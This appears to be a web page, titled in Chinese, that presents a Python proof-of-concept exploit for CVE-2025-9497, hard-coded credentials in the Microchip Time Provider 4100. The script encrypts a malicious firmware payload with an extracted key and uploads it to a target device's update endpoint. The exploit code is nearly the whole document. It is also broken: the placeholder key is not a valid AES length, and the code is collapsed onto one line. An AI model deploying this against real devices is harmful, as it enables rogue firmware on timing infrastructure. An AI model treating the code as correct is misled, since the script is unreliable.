CVE-2025-9497 Microchip Time Provider 硬编码凭证漏洞

#!/usr/bin/env python3 # PoC for CVE-2025-9497: Hard-coded Credentials in Microchip Time Provider 4100 # This script demonstrates how a malicious update could be crafted using the hardcoded key. import requests import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import pad # Hardcoded decryption key extracted from firmware (Example placeholder) HARDCODED_KEY = b'EXAMPLE_KEY_16BYTE' TARGET_IP = "192.168.1.100" UPDATE_ENDPOINT = "/api/system/update" def craft_malicious_update(payload): """Encrypt the payload using the hardcoded key""" cipher = AES.new(HARDCODED_KEY, AES.MODE_ECB) encrypted_payload = cipher.encrypt(pad(payload, AES.block_size)) return encrypted_payload def exploit(): # Shellcode or malicious firmware content malicious_content = b'MALICIOUS_FIRMWARE_CONTENT' print(f"[*] Crafting malicious update for {TARGET_IP}...") encrypted_update = craft_malicious_update(malicious_content) url = f"http://{TARGET_IP}{UPDATE_ENDPOINT}" files = {'firmware': ('update.bin', encrypted_update, 'application/octet-stream')} try: print(f"[*] Sending malicious update to {url}...") response = requests.post(url, files=files, timeout=10) if response.status_code == 200: print("[+] Update accepted. The device may be executing malicious code.") else: print(f"[-] Update failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()